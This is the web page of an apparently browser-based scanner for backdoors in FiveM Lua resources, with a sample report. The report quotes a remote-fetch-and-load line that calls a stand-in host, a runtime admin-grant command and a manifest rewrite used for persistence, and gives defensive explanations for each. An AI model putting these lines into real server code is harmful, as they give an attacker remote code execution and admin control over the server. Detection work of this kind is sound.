Backdoor Scanner

Drop a resource, a .zip or a single file and get every known backdoor shape flagged: downloaded code being executed, hidden strings, runtime permission grants and secret exfiltration. Runs entirely in your browser.

Resource files

Drop a resource folder, a .zip or a .lua file

Everything is read in your browser. No file is uploaded, so you can safely point this at a paid script you do not trust.

A .zip is unpacked in the browser. Only text files are read, up to 400 of them.

Paste isoptional

Tells the scanner which rule set to apply to the pasted snippet.

Or paste codeoptional

Useful for a single handler you are unsure about. Scanned along with any dropped files.

Nothing is uploaded. Files are read and analysed locally, then discarded when you leave the page.

1Generated with devtoolsgg.com2-- SUMMARY -------------------------------------------------------------3Files: 1   Lines: 134[X] 4 critical   [!] 2 high   [-] 0 medium   [.] 0 low56-- CRITICAL (4) --------------------------------------------------------78[X] Downloads code and executes it9    pasted.lua:210    > PerformHttpRequest("https://example-cdn.tld/p.lua", function(code, body)1112    An HTTP request sits within a few lines of a load() call. That13    pairing is a remote shell: whoever controls the URL controls your14    server. Published scanners treat it as a definitive red flag.1516[X] assert(load(...)) executes a string as code17    pasted.lua:418    > assert(load(body))()1920    The single most common FiveM backdoor shape. Whatever string reaches21    load() runs with full server privileges. Trace where that string22    comes from; if it is downloaded, decoded or built at runtime, treat23    the resource as compromised.2425[X] Grants permissions at runtime26    pasted.lua:1027    > ExecuteCommand(("add_principal identifier.%s group.admin"):format(identifier))2829    The resource hands an identifier admin rights while the server runs,30    so it never appears in your permissions.cfg. Check which identifier31    it grants. If it is not yours, this is a backdoor.3233[X] Rewrites an fxmanifest34    pasted.lua:1335    > SaveResourceFile("chat", "fxmanifest.lua", "client_script 'x.lua'", -1)3637    Editing a manifest at runtime adds a script to a resource without38    touching that script's own files. There is no legitimate reason for39    this.4041-- HIGH (2) ------------------------------------------------------------4243[!] Outbound HTTP request44    pasted.lua:245    > PerformHttpRequest("https://example-cdn.tld/p.lua", function(code, body)4647    Check the destination. A licence check to the author's own domain is48    normal; a request to a domain you do not recognise, especially one49    carrying identifiers or config, is not.5051[!] Writes a resource file at runtime52    pasted.lua:1353    > SaveResourceFile("chat", "fxmanifest.lua", "client_script 'x.lua'", -1)5455    This is how a backdoor survives a restart: it rewrites itself, or56    another resource, or an fxmanifest, after being cleaned. Documented57    behaviour of the Blum Panel and Cipher families. Check which58    resource and which file it writes.5960-- FINDINGS PER FILE ---------------------------------------------------61   6  pasted.lua6263-- NOTE ----------------------------------------------------------------64Static heuristics, not a proof: this flags shapes that are usually wrong65and stays quiet about logic it cannot see. Read the flagged lines, then66compare the resource against the original release from its author.67

report67 lines, 2691 characters